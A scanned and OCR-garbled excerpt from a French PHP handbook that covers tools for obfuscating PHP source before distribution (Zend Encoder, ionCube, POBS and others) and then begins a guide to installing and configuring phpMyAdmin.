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Chapitre 20 

L'obfuscation : 

Distribuer ses scripts 

sans devoiler son code 



20.1 Introduction 1381 

20.2 Avec Zend Encoder 1381 

20.3 Avec ionCube PHP Encoder 1388 

20.4 Avec PHP guardian 1389 

20.5 Avec POBS 1390 

20.6 Autres 1392 



Avec Zend Encoder 



20.1. Introduction 

Si vous optez pour une licence GPL ou toute autre licence Open Source (ce que vous etes invite 
a faire), la distribution de votre code ne vous causera aucun souci. Si, en revanche, vous ne 
souhaitez pas laisser partir votre savoir-faire dans la nature et que vous avez a distribuer une 
application sous forme de scripts PHP, vous devrez trouver une solution pour que le code 
source ne soit pas lisible, et cela sans nuire a son fonctionnement. 

La solution generalement retenue s'appelle I'obfuscation (que Ton traduit parfois aussi 
"assombrissement") de code. Cette operation consiste en plusieurs points, dont les principaux 
sont : 

1 . Suppression de tous les commentaires (c'est le moins que Ton puisse faire) ; 

2. Masquage de tous les noms de variables et fonctions (un appel a une fonction appelee "a" 
ou "zedfrDS" sera bien plus difficile a interpreter qu'un appel a une fonction appelee 

connexionBaseDeDonnees ( ) ) ; 

3. Livraison du code sous sa forme compilee (c'est certainement la forme la plus difficilement 
interpretable pour nous autres, etres humains). 

II existe a ce jour tres peu de solutions pour PHP. II y a, par exemple, les solutions payantes 
comme Zend Encoder, la toute recente ionCube PHP Encoder ou PHP guardian et une 
solution gratuite, POBS (PHP Obfuscator), chacune ayant ses propres caracteristiques. 

D'autres solutions basees sur une autre technique existent. Ainsi Microcode et PHTML 
Encoder proposent des solutions consistant a crypter/decrypter les scripts PHP. 



20.2. Avec Zend Encoder 

II est difficile de savoir ce que fait exactement Zend Encoder. II n'existe en effet pas (a notre 
connaissance) de logiciel permettant de voir le source qui serait obtenu si l'operation etait 
inversee. Mais Ton peut affirmer sans trop de doutes que les commentaires sont supprimes et 
le code livre sous sa forme compilee. II n'est pas certain que les noms des fonctions et variables 
globales soient masques, puisque les scripts ainsi obfusques restent compatibles avec les scripts 
non obfusques. 

Zend Encoder est desormais integre a Zend Safe Guard qui propose egalement un systeme de 
gestion de licence baptise Zend License Manager. 

Une version devaluation peut etre telechargee sur le site (anglais) http://www.zend.com. 

Zend Encoder est disponible pour les systemes d'exploitation : 

Windows (NT, 2000, XP) ; 
Linux glibc2.1 et 2.2 ; 
Solaris (2.6 et +) ; 
FreeBSD (3.4 et +). 

Les scripts ainsi obfusques ne peuvent etre lus que sur les sites web disposant de Zend 
Optimisateur (voir chapitre Optimisation). 
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Chapitre 20 L'obfuscation : Distribuer ses scripts sans devoiler son code 



REMARQUE 



Version d 'evaluation 

Avec la version d' evaluation les scripts generes ne sont valables que 3 jours. 



La derniere version disponible a ce jour est la 3.5 qui n'est officiellement compatible qu'avec les 
versions 4.0.6 a 4.3 de PHP. 



Installation 

reinstallation est tres simple. Vous trouverez ci apres la procedure pour la version 2.0.1 
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Sous Windows 

Apres avoir telecharge Zend Encoder depuis le site http://www.zend.com, il suffit de lancer l'ins- 
tallation et de repondre a quelques questions. 




Zend Encoder License Selection 



Setup has nut delected a valid license hie. T he license hie can also be downloaded manually 
from www.zend.com. 



<• Download 3 license file from www. zend.com 
C Use an existing license on my disk 



Figure 20.1 : 

Installation de Zend 
Encoder sous Windows 
(1/2) 



Si le script d'installation ne trouve pas de cle d'activation, celui-ci vous propose d'indiquer ou le 
fichier peut se trouver. Vous pouvez egalement la telecharger (c'est ce que nous avons fait pour 
obtenir une licence devaluation). 



A 



ATTENTION 



Intranet 

La licence doit etre telechargee depuis leposte oil doit etre installe Zend Accelerator. 
II n'est, par exemple, pas possible de lancer le script d'installation depuis un poste 
relie a Internet pour utiliser la cle d'activation sur un poste en Intranet. Si votre poste 
n'est pas relie a Internet, selectionnez tout de mime {'option "download a license file 
from www.zend.com" . Un message d'erreur vous indiquera alors comment vous y 
prendre pour recuperer manuellement un fichier de licence. 
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Avec Zend Encoder 



Please: isntei' your mtvi.o 

[if you don't have a Zend us-etname, please register at 

>,wm. 2 end. con/login, php I 



Figure 20.2 : 

Installation de Zend Encoder sous 
Windows (2/2) 



Pour pouvoir telecharger Zend Encoder, vous avez du ouvrir (gratuitement) un compte sur le 
site Zend. Afin de telecharger la cle d'activation vous devez, ici, saisir votre nom d'utilisateur et 
votre mot de passe. 

Et voila ! C'est fini. 

L'interface obtenue est alors la suivante : 

liimJtiJJimuiiUJJi 
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Optimizations 

'"*' Full "'" Minimal C None 






Options 

v Short Tags [support <? in addition to <?php) 

P ASP Tags (support <X in addition to <?php] 
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Figure 20.3 : Interface de Zend Encoder 

Sous Linux 

Vous devez copier l'archive dans un espace quelconque (ex. : Itmp) et la decompresses 

# gunzip ZendEncoder-Evaluation-2.0.1-Linux_gl ibc21-i386.tar.gz 

# tar xvf ZendEncoder-Evaluation-2.0.1-Linux_glibc21-i386.tar 

II suffit ensuite de lancer le script d'installation : 

# cd ZendEncoder-Evaluation-2.0.1-Linux_gl i bc21-i 386 

# . /install. sh 
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Chapitre 20 L'obfuscation : Distribuer ses scripts sans devoiler son code 



Et c'est parti... 
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Figure 20.4 : 

Fenetre d'accueil 
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..apres avoir dit "bonjour". C'est fait ? Vous pouvez taper (Entree) . 

Figure 20.5 : 

Licence 




Vous avez maintenant la liberte de lire ou non la licence. Nous vous laissons faire votre choix. 
Quoi qu'il en soit, en selectionnant "No" ou en choisissant de lire la licence puis en validant, 
vous vous retrouverez face a la fenetre suivante : 



Zend Encoder 2.0.1 

IMPORTANT: 

BY SELECTING THE YES DPTIDN BELOW, DOWNLOADING, INSTALLING, OR 

OTHERUISE USING THIS SOFTWARE, YOU ACKNOWLEDGE THPT YDU HAVE READ THE 

LICENSE AGREEMENT, HND THAT YDU AGREE TC BE BOUND BY ITS TERMS AND 

CONDITIONS. 

IF YOU DO NOT AGREE TO ALL OF THE TERMS AND CONDITION; OF SUCH AGREEMENT, 

YOU ARE NOT AN AUTHORIZED USER OF THE SOFTWARE AND IT IS YOUR 

RESPONSIBILITY TO EXIT THIS DOUNLOADIilG/IHSTALLATIOH PROCESS UITH0UT 

DOWNLOADING OR INSTALLING THE SOFTWARE BY SELECTING THE NO OPTION BELOW, 

AND TO DELETE THE SOFTWARE FROM YOUR COMPUTER. 

Do you accept the tehros of the license? 



Figure 20.6 : 

Acceptation de la 
licence 



Nous vous laissons choisir en votre ame et conscience. En ce qui nous concerne, nous avons 
opte pour la reponse "Yes". Vous aussi ? Tres bien. Tapez [ Entree] et passons a la suite. 

Figure 20.7 : 

Chemin du repertoire 



Tend Encoder 2.0.1 

Specify the location where to install Zend Encoder 



/usn/local/Zend Li!LOtJer_2,0.1D 



d 'installation 



Vous etes maintenant invite a saisir le chemin du repertoire devant accueillir Zend Encoder. Le 
chemin propose est /usr/local/Zend. Comme vous pouvez le constater, nous avons prefere 
choisir /usr/local/Zend_Encoder_2.0.1, ce qui, finalement, ne s'est pas avere etre une tres bonne 
idee (Zend Encoder s'entetant a aller chercher l'encodeur sous /usr/local/Zend). Conservez 
done la proposition par defaut et pressez la touche [ Entree [ . 
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Avec Zend Encoder 



Zend Encoder 2,0.1 

Setup has not detected a valid license file* 

If you have a valid license file, select 

'Search for a license file on my disk', 

Otherwise select 'Download a license file from www.zend.coni ' . 

The license file can also be downloaded manually from uuw, zend.com. 



l ,i',ii,,,i,Bii. i „gjiig,., ■'"! .„■■■>■ 

Search for a license file on my disk 



Figure 20.8 : 

Cle d 'activation 



Si le script d'installation ne trouve pas de cle d'activation, celui-ci vous propose d'indiquer ou le 
fichier peut se trouver (il s'agit d'un fichier zend_accelerator.dat, habituellement sous le 
repertoire data ou sous /usr/local/Zend). Vous pouvez egalement la telecharger (c'est ce que 
nous avons fait pour obtenir une licence devaluation) . 



A 



ATTENTION 



Intranet 

La licence doit etre telechargee depuis leposte oil doit etre installe Zend Accelerator. 
II n'est, par exemple, pas possible de lancer le script d'installation depuis un poste 
relie a Internet pour utiliser la cle d'activation sur un poste en Intranet. Si votre poste 
n'est pas relie a Internet, selectionnez tout de mime I'option "download a license file 
from www.zend.com". Un message d'erreur vous indiquera alors comment vous y 
prendre pour recuperer manuellement un fichier de licence. 



Zand Encoder 2.0.1 

Please enter your Zend username: 



(If you don't have a Zend username, 
please register at wwu.zend.ccfi/iQgin.php) 




Figure 20.9 : 

Identifiant de compte 
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Pour pouvoir telecharger Zend Encoder, vous avez du ouvrir (gratuitement) un compte sur le 
site Zend. Afin de telecharger la cle d'activation, vous devez ici saisir votre nom d'utilisateur. . . 

Figure 20.10 : 

Mot de passe 




...ainsi que votre mot de passe. 

Et voila... Une serie de fenetres s'ouvrent et se ferment pour vous indiquer que tel ou tel fichier 
a ete installe. Et c'est fini. 

Pour obfusquer un fichier ou toute une arborescence, vous n'avez qu'a lancer l'interface 
graphique. 
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Figure 20.11 : Interface graphique de Zend Encoder 



I Utilisation 



Nous avons teste la version 2.0 pour Linux. 

Vous devez, dans un premier temps, creer un projet depuis le menu File. 

Figure 20.12 : 

Nouveau projet 



M New Project 






IS 




Enter Project Name 




I Mon Projet 






















OK | 




Cancel 


I 





















Une fois le projet cree, 



u an- 



::;•:■■ : ■[ :■•- 




CTHl*N*W I 


^J 







T SlKrtTtfj* (Juppwl <* In 
J AEPT»sn (import *%\<i 



i-iii-^Vvi 

■' I'.' ■ : 'l it '.■! 



Figure 20.13 : Interface principale 
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vous devez ajouter les fichiers sources, qui constituent votre projet PHP, depuis le menu File. 

Figure 20.14 : 

A] out de fichiers au projet 



| Choose a directory to arjrj to the project 



_|b 



b Dboot 

_J data 
■+■ _|dev 
B Cl etc 
+ _Jhome 

C\ initrd 
+ _Jlib 

i losi+found 



the project |xj 

x 

I 



_j Show hidden directories 



J 



J 



J 



Une fois integres au projet, les fichiers apparaissent dans la fenetre gauche. 

Figure 20.15 : 

Repertoire source 



| Mon Projet- Zend Encodei 



ik mm 



M Mon Projet 

B G3 website 
B fj pannonces_pear 
config_db_inc.php 
configjni: php 
config_rriysql_inc.php 
footeMnc.php 
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headei_inc.php 
index.php 
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[jpl menuleft_inc.php 
murigh'Unc.prip 
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Vous devez egalement indiquer le repertoire dans lequel doivent etre copies les scripts 
obfusques. Pour cela cliquez sur le bouton "..." de Target Directory. 



Target Directory 



J ASP Tags (support - 



m ■ : ■■■■- Target Directory 



_Jbin 

+ | boot 

l~~l data 

rjE Q dev 
+ _jetc 
B Cl home 

_jlnltrd 
B CH lib 

n lost+found 



_j Show hidden directorie: 



Figure 20.16 : 

Repertoire destination 
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Une fois le projet totalement defini, il ne vous reste qu'a cliquer sur "Encode !". 
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Figure 20.17: Obfuscation 

Et voila, e'est fait. Nous ne vous montrerons pas le contenu d'un fichier obfusque. C'est 
tellement illisible que Ton croirait voir un fichier de jurons. 

Conclusion 

Les fichiers assombris avec Zend Encoder sont veritablement illisibles, et ceci restera vrai tant 
qu'aucune solution (probablement pirate) ne permettra de passer du code compile au code 
source (a priori en grande partie masque). 

Cette solution necessite l'installation d'un logiciel sur le serveur. Mais, comme il s'agit de Zend 
Optimizer, cela ne constitue pas une grosse contrainte. C'est tout particulierement vrai si vous 
assurez vous-meme la configuration du serveur web, mais cela reste vrai egalement si vous 
passez par un hebergeur, puisqu'il n'est pas rare de voir Zend Optimizer installe. 

L'utilisation de Zend Encoder est tres souple, puisqu'il est possible de ne masquer qu'une 
partie des scripts d'un site (ce qui permet notamment de laisser lisibles les fichiers de 
configuration). En contrepartie, il est possible de douter du fait que les noms des fonctions ou 
variables globales soient masques. Ce qui pourrait faciliter la lecture d'un script "desobfusque", 
mais tout cela reste a demontrer. 



20.3. Avec ionCube PHP Encoder 

Tout comme dans le domaine de l'optimisation, ionCube propose une alternative au produit de 
Zend baptise ionCube PHP Encoder. Le principe reste le meme: il s'agit de ne fournir qu'un 
code precompile illisible. Cette solution integre egalement la possibility de limiter 1'execution 
des scripts dans le temps et/ou par machine. Contrairement a Zend Encoder, il n'y a pas 
d'interface graphique permettant de selectionner les scripts a obfusquer. 

Pour fonctionner, les scripts encodes necessitent l'installation prealable d'ionCube PHP 
Loader sur le serveur. Ce dernier est disponible gratuitement. 
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Avec PHP guardian 



ionCube PHP Encoder n'est pas gratuite mais une version devaluation peut etre telechargee 
sur le site a l'adresse http://www.ioncube.com/. II fonctionne sur les plateformes Linux, FreeBSD et 
prochainement Windows (systeme d'exploitation pour lequel il n'existe aujourd'hui qu'une 
version beta). 

Nous avons bien evidemment teste la version Linux; la version devaluation 3.0 pour etre precis. 



Version (['evaluation 

La version devaluation n'est utilisable que durant 7 jours. 



REMARQUE 



Installation 

II suffit de decompresser l'archive dans son repertoire de destination (ex: /usr/local) 

# tar zxvf ioncube_encoder_evaluation_3.0.tar.gz 

Utilisation 

Pour crypter un repertoire complet (ici srcl) et recuperer le resultat dans un repertoire donne 
(ici dstl) vous devrez alors taper une commande similaire a 

# ./ioncube_encoder --key <votre cle de licence> src -o dst 

Vous constaterez alors qu'effectivement le repertoire dstl contient des fichiers illisibles hormis 
leurs premieres lignes. 

Les premieres lignes de ces scripts sont en fait destinees a charger en memoire le module 
capable d'interpreter leur contenu, a savoir ionCube PHP Loader. 

Ainsi, une des solutions possibles pour utiliser ces scripts obfusques consiste a decompresser 
l'archive directement dans le repertoire contenant ces fichiers. 

# tar zxvf ioncube_loaders_2.1.tar.gz 

Une fois cette operation realisee vous pouvez constater qu'il est possible d'acceder a ces scripts 
aussi simplement que leur equivalant non crypte. 

II existe bien evidemment, une longue liste d'options a la commande ioncube_encoder, mais 
pour repondre a votre besoin specifique, il vaut mieux que vous vous plongiez dans les notices 
d'utilisation. 



20.4. Avec PHP guardian 



Disponible uniquement sous Windows, ce logiciel n'a pas ete teste. 

II semble fonctionner sur le meme principe que Zend Encoder et ionCube PHP Encoder (et 
offre egalement des options permettant de limiter la duree de vie du script ou de le limiter a une 
adresse IP donnee.). II ne necessite toutefois aucune installation sur le serveur le decodage 
s'effectuant par un script PHP fourni avec le logiciel. 

Vous le trouverez (y compris en version devaluation) a l'adresse http://www.phpguardian.com/. 
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Chapitre 20 L'obfuscation : Distribuer ses scripts sans devoiler son code 



20.5. Avec POBS 

POBS est ecrit en PHP. II fonctionne done sur toute plateforme disposant d'un serveur web 
integrant PHP. 

La version testee est la version 0.99 qui reste a ce jour la derniere version disponible. Celle-ci est 
officiellement testee avec PHP 4.0.4 (ce qui ne signifie pas pour autant qu'elle ne fonctionne 
pas avec les autres versions de PHP 4) 

Installation 

II suffit de decompresses dans un coin de votre serveur web, l'archive disponible sur le site 
http://pobs.mywalhalla.net/ (ou celle disponible sur le CD-ROM). 

Vous serez certainement amene a modifier quelques parametres du script pobs-ini.inc.php, en 
particulier $sourceDir et $TargetDir, qui indiquent respectivement le chemin du repertoire 
contenant les sources et celui destine a recevoir les versions obfusquees des scripts. 

Quoi qu'il en soit vous etes invite a consulter le fichier documentation-fr.txt (profitez-en ! Pour 
une fois qu'il y a une notice en frangais...). 

Utilisation 

II suffit d'appeler le script principal pobs.php. 



frtar LUttan flrttm W WmjJ w Hm* ftvnl* Ikhra &k 
Hhxtxt <-£■ 



* -JL 



^m 




f 7 CqrriU fdn fW, H din 



Stwt proeaitkiBi I 



.■i -J; Lwjwnl .Hrn*>i& JIU: 



Figure 20.18: POBS 

L'interface qui s'offre a vous vous permet alors de modifier certains parametrages. Vous 
pouvez choisir de masquer les noms des fonctions, constantes et/ou variables, et de supprimer 
les commentaires, indentations et/ou retours a la ligne. 
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Avec POBS 



Lorsque vous lancez l'obfuscation via le bouton "Start processing", les fichiers resultats sont 
alors copies dans le repertoire designe par le fichier pobs-inlinc.php et un bilan est affiche. 




Execute POBS : "sources" => "targets" 

Wi Id Card Value :foc" 

+ Scanning Filename: iest.php 

- Copy Filename: test.php- 



Replaced elements : 



m 



No voko Of no mpiscv /z-quesi'. 



m 



,„.,..,■„,.■,■. 



Number of userdefined elements to be replaced : 

Functions: 1 
Variables: 5 

Constants: 

";&- \& Document : Termine (0.773 3) 
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Figure 20.19: Bilan POBS 

Dans ce bilan apparait la liste des fichiers traites, les noms des fonctions, constantes et 
variables, ainsi que leurs equivalents obfusques. 

Ainsi, l'exemple suivant : 

<?php 

// Fonction retournant le resultat 

// de 1 'addition de operandel avec operande2 

function addition($operandel, $operande2) 

{ 

$somme = $operandel + $operande2; 
return $somme; 

} 
?> 

<html> 
<body> 
<?php 

$vall = 3; 

$val2 = 6; 

echo addition($val 1, $val2); 
?> 

</body> 
</html> 
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Chapitre 20 L'obfuscation : Distribuer ses scripts sans devoiler son code 



donne le resultat suivant (qui varie selon les options choisies) : 

<?php 

function F2b2ae874($V275ff7ff , $Ve5f3bc4b) 

{$V3ce6e7f2 = $V275ff7ff + $Ve5f3bc4b;return $V3ce6e7f2;}?> 

<html> 

<body> 

<?php 

$V8de92ce2 = 3;$V38ceaa3b = 6;echo F2b2ae874($V8de92ce2, $V38ceaa3b) ;?> 

</body> 

</html> 

Ce qui, vous en conviendrez, n'est pas tres lisible (meme si ici, le code etant bien simple, il n'est 
pas tres difficile de comprendre ce que fait ce script). 

Comme les noms de fonctions, constantes et variables sont modifies par POBS, les scripts 
obfusques ne pourront pas etre inclus tels quels dans des scripts non obfusques (et 
inversement). Si vous souhaitez conserver des scripts en clair (i.e. des fichiers de configuration), 
vous devrez configurer POBS (via le fichier pobs-ini.inc.php) afin de ne pas masquer tel ou tel 
nom de fonction, constante ou variable. 



Conclusion 

POBS a l'avantage d'etre une solution gratuite offrant un bon degre de camouflage et qui ne 
necessite aucun logiciel sur le serveur web. II est done compatible avec toutes les plateformes. 

Bien que le resultat de l'obfuscation ne soit pas sous une forme compilee, le travail de 
restauration des sources originales est toutefois grandement facilite (parions, cependant, que 
les solutions permettant de transformer le resultat d'une obfuscation telle que peut en 
retourner Zend Encoder en un code similaire a celui que fournit POBS ne tarderont pas a 
apparaitre. Ce type de solution perdrait alors son avantage). 

Le melange de codes sources obfusques avec des codes sources non obfusques n'est pas chose 
aisee, mais e'est peut-etre la le prix a payer pour un meilleur camouflage du code. 



20.6. Autres 



II existe un certain nombre d'autres solutions basees, pour la plupart, sur un simple cryptage des 
sources a l'aide d'un mot de passe. Toutes ces solutions necessitent ['installation d'un logiciel 
specifique sur le serveur, et ne garantissent pas necessairement la protection du code si le mot 
de passe venait a etre "cracke" (ou tout simplement si l'analyseur PHP etait modifie pour 
restituer le code source decrypte qui lui est communique par la partie serveur du logiciel 
d'obfuscation). 

Parmi elles, nous pouvons citer : 

PHTML Encoder disponible a l'adresse http://www.rssoftlab.com/ ; 
Source Defendeur presente a l'adresse http://www.sourcedefender.com/ ; 
PHP Screw a l'adresse http://sourceforge.net/projects/php-screw/. 
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Administration de bases de donnees 



21.1. Administration de bases de donnees 

phpMyAdmin 

Installation et configuration 

Certains programmes d'installation automatique de PHP/MySQL comprennent deja 
phpMyAdmin. En revanche, si vous avez choisi d'installer vous-meme MySQL, il est fort 
probable que phpMyAdmin ne soit pas sur votre systeme, ce qui est bien dommage... En effet, 
phpMyAdmin est un programme libre et gratuit qui facilite grandement l'administration et 
l'utilisation d'un serveur de bases de donnees MySQL. Via une interface web simple, puissante 
et francisee, il permet de mener a bien quasiment toute operation relative au serveur. 



3 



Choisissez une 
base de donnees 



Bienvenue a phpMyAdmin 2.2.6 

MySQL 3.23.49-maxmt sur le serveur localhost - utilisateur : root@localhost 



MySQL 

r- Creer une base de donnees [Documentation] 
Creer | 

r- Aftlcher I'etat du serveur MySQL [Documentation] 

r- Afficher les variables du serveur MySQL [Documentation] 

h Afficher les processus [Documentation] 

r- Recharger MySQL [Documentation] 

r- Utilisateurs et privileges [Documentation] 

r- Statlstiques surles bases de donnees 



phpMyAdmin 

r- Language: | French (fr) 



3 



r- Documentation de phpMyAdmin 

r- Afficher les informations relatives a PHP 
r- Site officiel de phpMyAdmin 
[ChangeLopi] [CVS| [Lists] 



Figure 21 .1 : phpMyAdmin 

Vous pourrez ainsi creer et supprimer des bases, creer, copier et effacer des tables, lancer des 
requetes SQL, charger des fichiers textes dans des tables, administrer plusieurs serveurs a la 
fois, sauvegarder vos donnees, etc. 

Telechargez la derniere version de phpMyAdmin a l'adresse www.phpmyadmin.net ou bien utilisez 
celle disponible sur le CD-ROM. Decompressez le contenu de l'archive, par exemple a la base 
de votre serveur web (ou dans un repertoire de votre machine pour pouvoir modifier certains 
scripts avant de les transferer dans un espace alloue par un hebergeur) ; cela aura pour effet de 
creer un repertoire phpMyAdmin-2.5.7 (que vous pouvez eventuellement renommer en 
phpmyadmin). 

A l'aide de votre editeur de texte prefere, editez le fichier config.incphp et recherchez la ligne : 

$cfgPmaAbsoluteUri = "; 

Completez avec l'adresse web a laquelle sera disponible votre phpMyAdmin. Si vous avez suivi 
l'exemple cite plus haut (phpmyadmin), vous devrez donner cette adresse : 

$cfgPmaAbsoluteUri = 'http://www.votrenomdecloniaine.com/phpmyaclniin/ 1 ; 
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Chapitre 21 Annexe A : des exemples (^applications 



Passons maintenant aubloc * Server (s) configuration. II s'agit de configurer la connexion 
aii serveur de bases de donnees. II faut, en effet, que phpMyAdmin puisse avoir acces au 
serveur si Ton veut qu'il le manipule. Recherchez et completez les lignes suivantes : 

$cfgServers[l] ['host'] = ''; // MySQL hostname 

Completez avec locaihost. Si vous installez phpMyAdmin chez votre hebergeur, il peut etre 
utile de se referer a sa documentation, le nom de l'hote pouvant varier. 

$cfgServers[l] ['auth_type'] = 'config'; // Authentication method (config, http or 
x cookie based)? 

Completez avec "config", "http" OU "cookie". 

config permet a n'importe quel utilisateur d'avoir acces a phpMyAdmin sans avoir a 
s'identifier. Ce sont, en effet, les parametres du fichier config. inc. php qui sont utilises. Ce 
choix n'est pas le plus sur. N'importe quel utilisateur qui connait l'adresse de votre 
phpMyAdmin pourrait se connecter au serveur MySQL et supprimer bases ou tables sans 
probleme. Les options "http" ou "cookie" requierent une authentification de la part de 
l'utilisateur qui se connecte. 

http : un formulaire demande a l'utilisateur ses login et mot de passe, puis les enregistre 
dans un trousseau de cles (selon les navigateurs). Ne fonctionne qu'avec PHP installe 
comme module Apache. PHP en CGI ne permet pas d'utiliser ce mode de connexion. 

cookie : les informations de connexion seront conservees dans un cookie qui ne sera 
valable que le temps de la session. 

$cfgServers[l] ['user'] = 'votre_pseudo_administrateur' ; 

Completez avec le pseudonyme de l'administrateur du serveur de bases de donnees. 
Generalement, c'est "root", a moins que vous ne l'ayez change manuellement. 

$cfgServers[l] ['password'] = ''; // MySQL password (only needed with 'config' 
x auth) 

Comme vous l'indique le fichier de configuration, vous n'avez a renseigner cette ligne que si 
vous utilisez la methode de connexion config ; celle qui donne acces au serveur a tous les 
utilisateurs qui connaissent l'adresse de votre phpMyAdmin. 



ASTUCE 



Securiser malgre tout 

Si vous tenez a conserver le mode de connexion "config", vous pouvez tout de meme 
securiser Faeces a votre serveur de bases de donnees en utilisant les restrictions 
d' acces que propose votre serveur web (ex. -.fichier Jitaccess d 'Apache). 



Vous pouvez egalement configurer des a present phpMyAdmin pour qu'il soit en francais. 
Recherchez cette ligne dans le fichier config.inc.php : 

require(' ./I ibraries/select_l ang.l ib.php') ; 

et modifiez-la comme suit : 

require("french.inc.php3") ; 
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Administration de bases de donnees 



Une autre option interessante de ce fichier de configuration est la possibilite de configurer 
1'acces pour des utilisateurs differents ayant des droits differents. Pour utiliser cette 
fonctionnalite de phpMyAdmin, il faut bien entendu que des utilisateurs autres que "root" 
aient ete crees sur le serveur MySQL (voir plus loin Prise en main). Dans le fichier de 
configuration, vous devez trouver plusieurs fois cette suite de lignes : 



H++; 

fcfgServe 
(cfgServe 
fcfgServe 
fcfgServe 
fcfgServe 
fcfgServe 
{cfgServe 
fcfgServe 
fcfgServe 
{cfgServe 
fcfgServe 
{cfgServe 
fcfgServe 
fcfgServe 



rs[$i][ 



rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 



host'] 

port'] 

socket 1 ] 

connect_type'] 

control user 1 ] 

controlpass'] 

auth_type'] 

user'] 

password'] 

only_db'] 

verbose'] 

bookmarkdb'] 

bookmarktable'] 

relation'] 



tcp'; 



config' 
root ' ; 



Ce sont des doublons de configuration d'acces prets a l'emploi. II suffit de les dupliquer et de les 
completer pour chacun des utilisateurs requis. Pour un phpMyAdmin qui dispose deja d'un 
utilisateur "root", si Ton veut ajouter l'utilisatrice "Emma", ayant le mot de passe "youpi", il 
faudra avoir la configuration suivante : 



cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


1][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 


cfgServers 


2][ 



host'] 


= 


local host 


port'] 


= 


s 


socket'] 


= 


j 


connect_type'] 


= 


tcp' ; 


controluser'] 


= 


5 


controlpass '] 


= 


S 


auth type'] 


= 


http' ; 
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$cf gServers [2] [ ' verbose ' ] 
$cf gServers [2] [ ' bookmarkdb ' ] 
$cf gServers [2] [ ' bookmarktabl e ' ] = 
$cfgServers [2] ['relation'] 

La ligne suivante : 

$cfgServers[2] ['only_db'] = ''; 

permet ensuite de specifier les bases qui doivent etre listees pour cette utilisatrice en 
particulier. Cela ne remplace en rien les droits et privileges attribues dans MySQL. II est 
seulement question d'affichage. 

Une fois que votre fichier de configuration est correctement renseigne, sauvegardez-le. Vous 
pouvez alors commencer a utiliser phpMyAdmin en vous rendant a l'adresse : 
http://votrenomdedomaine/phpmyadmin/. 



Prise en main 

phpMyAdmin vous permet de gerer au mieux vos bases MySQL. Nous allons passer en revue 
les fonctions les plus simples et les plus basiques. 

Aspect general 

Dans la partie gauche de la page, vous devez trouver, sous la mention Accueil, un menu 
deroulant des differentes bases de donnees presentes sur le systeme. La partie qui nous 
interesse se trouve sur la partie droite de la page. On peut voir deux colonnes : une premiere qui 
propose des liens en rapport avec MySQL, et une seconde qui concerne phpMyAdmin. 

Creer un utilisateur 

Pour creer un utilisateur, rendez-vous sur le page principale de votre phpMyAdmin. Dans la 
partie droite de la page, sous MySQL cliquez sur le lien Utilisateurs et privileges. Notez au 
passage que vous disposez egalement d'un lien vers la documentation en ligne. Sur la nouvelle 
page qui s'affiche, vous trouvez deux parties : en premier lieu, un tableau qui resume tous les 
utilisateurs deja crees ainsi qu'un resume de leurs privileges et, en second lieu, une serie 
d'options et de champs qui vont vous permettre de creer de nouveaux utilisateurs. Allez 
directement dans la parties/outer un utilisateur (voir fig. 21.2). 

Vous pouvez tout d'abord selectionner le serveur sur lequel vous desirez creer cet utilisateur, 
phpMyAdmin pouvant effectivement gerer plusieurs serveurs. La ligne suivante vous demande 
Tout utilisateur ou Nom d'utilisateur si vous souhaitez specifier un nom d'utilisateur. Cela est 
d'ailleurs tres largement preferable. En effet, vous pourriez creer un acces sur n'importe quel 
nom d'utilisateur sans donner de mot de passe, ce qui aurait pour effet d'ouvrir votre serveur de 
bases de donnees a n'importe qui... 
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Recharger MySQL [Documentation] 
Aflficher les privileges sur 
Base de donnees : SHE I Ex6cuter | 

Ajouter un utilisateur 

<* Toutserveur *"* Serveur: 

f Tout utilisateur P Norn d'utilisateur : | 

aucun tnotde passe * Motdepasse: 



Entrera nouveai 



u.r 



Privileges : 




r Select 


I - Insert 


r Update 


|~ Delete 


f Create 


|~ Drop 


r Reload 


I - Shutdown 


I - Process 


r File 


f Grant 


References 


I - Index 


r Alter 


Toutcocher 


Tout decocher 


Executer 





Figure 21.2 : Ajouter un utilisateur dans phpMyAdmin 

Donnez done un nom d'utilisateur dans le champ prevu a cet effet, et donnez deux fois de suite 
le mot de passe sur la ligne suivante. II faut encore indiquer les privileges qui seront attribues a 
ce nouvel utilisateur. Cochez chacune des cases correspondantes selon les privileges que vous 
souhaitez allouer. Vous pouvez cliquer sur Executer pour que la creation soit lancee. 

Une fois ce nouvel utilisateur cree, vous pouvez l'ajouter a votre fichier de configuration de 
phpMyAdmin pour qu'il puisse se connecter au serveur, ou l'utiliser pour des applications web 
necessitant une connexion au serveur de base. 

Creer une base 

Pour creer une base, cliquez sur Accueil, tout en haut a gauche de la page d'accueil de 
phpMyAdmin. Une fois la page rafraichie, juste sous la petite barre MySQL, donnez le nom de 
table que vous voulez creer dans le champ prevu a cet effet, puis cliquez sur Creer. 
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Supprimer une base 

Pour supprimer une base, choisissez la base dans le menu deroulant qui se situe juste sous la 
mention Accueil. La partie de droite s'actualise alors pour vous presenter un resume de la table 
selectionnee. Tout en bas de cette page se trouve un lien Supprimer la base ... II suffit de cliquer 
sur ce lien. 

Creer une table 

Une fois que vous avez choisi une base, sur la partie droite de la page web, rendez-vous dans la 
section Creer une nouvelle table sur la base ... Donnez alors le nom de la table ainsi que le 
nombre de champs que vous voulez qu'elle comporte, puis cliquez sur Executer. La page se 
rafraichit et vous presente alors une vue en tableau de la future table. Renseignez tous les 
parametres necessaires pour chaque champ de la table, puis validez en cliquant sur le bouton 
Sauvegarder situe en bas de la page. 
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Supprimer une table 

Choisissez d'abord la base dans laquelle se trouve la table. Dans le menu situe a gauche de la 
page, cliquez sur le nom de la table que vous voulez supprimer. Dans la partie droite de la page, 
cliquez sur le lien Supprimer de la ligne correspondant a la table concernee. 

Sauvegarder une table ou une base 

Sauvegarder une base ou une table MySQL est une operation fort simple grace a 
phpMyAdmin. Cliquez, dans la partie gauche de la page, sur une table ou une base. La partie 
